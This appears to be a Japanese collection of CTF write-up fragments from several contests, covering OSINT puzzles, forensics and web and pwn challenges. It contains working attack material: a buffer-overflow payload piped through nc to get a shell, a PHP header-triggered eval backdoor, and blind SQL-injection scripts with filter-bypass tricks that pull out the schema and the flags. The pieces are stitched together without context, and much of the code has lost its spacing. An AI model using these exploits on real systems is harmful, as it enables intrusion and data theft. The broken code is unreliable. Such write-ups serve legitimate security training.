exportconst sanitize = (s) => {if(typeof s === 'string'){return s.replaceAll(/<|>|\\|_/g, '')
}if(typeof s === 'object'){for(const[k, v] of Object.entries(s)){
s[k] = sanitize(v)
}return s
}return s
}
先程の手順2で image として送信するJSONを、{"wow":true} から {"wow":true,"id":"test","class":"hoge"} に変更する。そのまま送信して、受信者側から受け取ったメッセージのDOMを確認すると、次のように id と class がそれぞれ指定した値になっていることが確認できた。
$ (echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40\x00\x00\x00\x00\x00"; cat) | nc chall.live.ctf.tsg.ne.jp 30006
hello :)
ls
ls -la
total 36
drwxr-xr-x 1 root user 4096 May 13 06:36 .
drwxr-xr-x 1 root root 4096 May 13 06:35 ..
-r-xr-xr-x 1 root user 17000 May 13 06:27 chall
-r--r--r-- 1 root user 35 May 13 06:27 flag
-r-xr-xr-x 1 root user 66 May 13 06:27 start.sh
cat flag
TSGLIVE{welcome_overflowwwwwwwwww}
Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag!
We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form ****.sdctf@gmail.com. Once you find it, send them an email to demand the flag!
Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)
点滅し続けるライトの動画が与えられている。光る時間が長かったり短かったりしていてモールス信号っぽい。送られている文字列は WHAT HATH GOD WROUGHT で、San Diego というワードとともに検索するとそれっぽい場所が見つかった。
sdctf{32.875,-117.240}
[OSINT 150] Part of the ship... (76 solves)
Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag}
"the forbidden app" でググるとiFunnyなるサービスに言及する記事がヒットする。DanFlashes というユーザがいないか https://ifunny.co/user/DanFlashes にアクセスしてみるも、404 Not Foundだった。が、Wayback Machineで探すと過去に存在していたことがわかる。プロフィールにフラグが書かれている。
sdctf{morning_noon_and_night_I_meme}
[OSINT 200] Turing Test (49 solves)
My friend has been locked out of his account! Can you help him recover it?
We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!
Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation.
Flag format is sdctf{...}
we sell banners for San Diego Cybersecurity Contest at prices!! dont send ropETH please we have enough money ❤️ 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B boss has twitter so question him if need to
<?phpif($_SERVER["REMOTE_ADDR"]!="127.0.0.1"){die("<img src='https://imgur.com/x7BCUsr.png'>");
}echo"<br>There your cleaned url: ".$_POST['host'];
echo"<br>Thank you For Using our Service!";
function tryandeval($value){echo"<br>How many you visited us ";
eval($value);
}foreach(getallheaders()as$name=>$value){if($name=="X-Visited-Before"){
tryandeval($value);
}}?>
あとはやるだけ…かと思いきや、php.ini の disable_functions で proc_open や system などOSコマンドが実行できそうな関数が禁止されている。
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "'''" in /var/www/api.php:75 Stack trace: #0 /var/www/api.php(75): PDO->query('SELECT * FROM c...') #1 {main} thrown in /var/www/api.php on line 75
色々試すと以下のような結果になった。左側は character に突っ込んだ文字列、右側は OK ならエラーが起こらなかった、NG ならエラーが発生したという意味。
'or' : OK
'or(1)or' : NG
'||1||' : OK
'||(1)||' : OK
'hoge' : NG
'||(sqlite_version())||' : OK
import requests
URL = 'http://…/api.php'defquery(q):
payload = f"' union select 'a','' where ({q}) union select '','"
payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect')
r = requests.get(URL, params={
'character': payload
})
return r.json()['data']['vote_count'] == 2print(query('1 > 2')) # Falseprint(query('2 > 1')) # True
あとはやるだけ。sqlite_master から sql を抜き出すexploitを書く。
import requests
URL = 'http://…/api.php'defquery(q):
payload = f"' union select 'a','' where ({q}) union select '','"
payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr')
r = requests.get(URL, params={
'character': payload
})
return r.json()['data']['vote_count'] == 2
i = 1
res = ''whileTrue:
c = 0for j inrange(7):
if query(f'unicode(substr((select group_concat(sql) from sqlite_master), {i}, 1)) & {1 << j}'):
c |= 1 << j
res += chr(c)
print(i, res)
i += 1
動かすとテーブルのデータが抜けた。flags というテーブルがあるっぽい。
$ python3 exp.py
…
152 CREATE TABLE characters (
id integer PRIMARY KEY,
name text NOT NULL
),CREATE TABLE flags (
id integer PRIMARY KEY,
value text NOT NULL
)
…
import requests
URL = 'http://…/api.php'defquery(q):
payload = f"'|abs(({q})+(2<<62))|'"
payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr').replace('case', 'ccasease')
r = requests.get(URL, params={
'character': payload
})
#print('len:', len(payload))return'1 integer overflow'in r.text
i = 1
res = ''whileTrue:
for c inrange(0x20, 0x7f):
#if query(f"substr('abc',{i},1)>char({c})"):if query(f"substr((select value from flags),{i},1)>'{chr(c)}'"):
res += chr(c)
breakprint(i, res)
i += 1
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}
[Misc 767] Paint (22 solves)
I made a drawing program for my PS4 Pro and I drew a really pretty picture, but then it crashed! Thankfully I managed to capture some traffic via my computer, could you recover the drawing for me?
import RPi.GPIO as GPIO
from time import sleep
from os import system
from sys import argv
startup_time = 60
bit_length = 10
led_pin = 13
pwm_freq = 8000
get_bin = lambda x, n: format(x, 'b').zfill(n)
withopen('flag.txt', 'r') as f:
flag = bytearray(f.read().strip().encode())
bits = ''for byte in flag:
bits += get_bin(byte, 8)
# Setup GPIO pins
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(led_pin,GPIO.OUT)
pi_pwm = GPIO.PWM(led_pin, pwm_freq)
pi_pwm.start(0)
system('echo none | sudo tee /sys/class/leds/led0/trigger >/dev/null') # Take control of led0# Starting the fan idling to not draw any suspicion
pi_pwm.ChangeDutyCycle(100)
print(f'[*] Waiting {startup_time}s before transmitting...')
sleep(startup_time)
print(f'[*] Now transmitting data...')
system('echo 1 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Enable led0 when transmittingfor i, bit inenumerate(bits, 1):
# Fancy logging no one will ever see :(print('[{}] Transmitting bit {}/{}'.format("/-\|"[i%4], i, len(bits)), end='\r')
power = 20if bit == '0'else100
pi_pwm.ChangeDutyCycle(power)
sleep(bit_length)
print('[+] Done transmitting data!')
system('echo 0 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Disable led0 when done
$ python3
…
>>> a = open('Corrupted.001','rb').read()
>>> open('a.png','wb').write(a[0x58a000:])
46624768
crew{34sY_C0rrupt3D_GPT}
[Forensics 142] Policy Violation Pt.1 (81 solves)
One of our employees violate the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?
Q1. What is the CVE Number and Date of exploit? Example: crew{CVE-XXXX-XXXX_Date:MM.D.YY}
フラグフォーマットは crew{CVE-XXXX-XXXX_Date:MM.D.YY} とのことだが、日にちの方がわからない。"Date of exploit" とは。色々試していると、NVD Published Dateの2008年11月4日が正解だった。
crew{CVE-2008-2992_Date:11.4.08}
[Forensics 648] Policy Violation Pt.2 (30 solves)
One of our employees violated the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?
Can you help me to examine this mail? Q1: I think that the suspect deleted something from it can you tell me what is it? Flag Format: crew{the deleted thing with :}
import base64
import hashlib
import re
s = open('HelpMe!.eml', 'rb').read()
bh = base64.b64decode('5AqaoLYxMopB/cECaLwYX3ZR0XSAPW38Fwpy5WHeO2M=')
withopen('/usr/share/dict/rockyou.txt', 'rb') as f:
words = f.readlines()
for word in words:
word = word.strip()
body = s[s.index(b'--'):]
body = body.replace(b'lost', word)
body = body.strip() + b'\r\n'try:
hash = hashlib.sha256(body).digest()
except:
continueifhash == bh:
print(word)
app.get('/',(req,res)=>{var msg = req.query.msg
if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!`
msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script')
res.send(indexHtml.replace('$MSG$',msg))
})
try:
subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
result = os.read(master,0x4000)
except:
os.close(slave)
os.close(master)
return'??',200,{'content-type':'text/plain;charset=utf-8'}
これはバイナリファイルをダウンロードさせようとしているからっぽい。
$ curl http://example.com/a.so
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
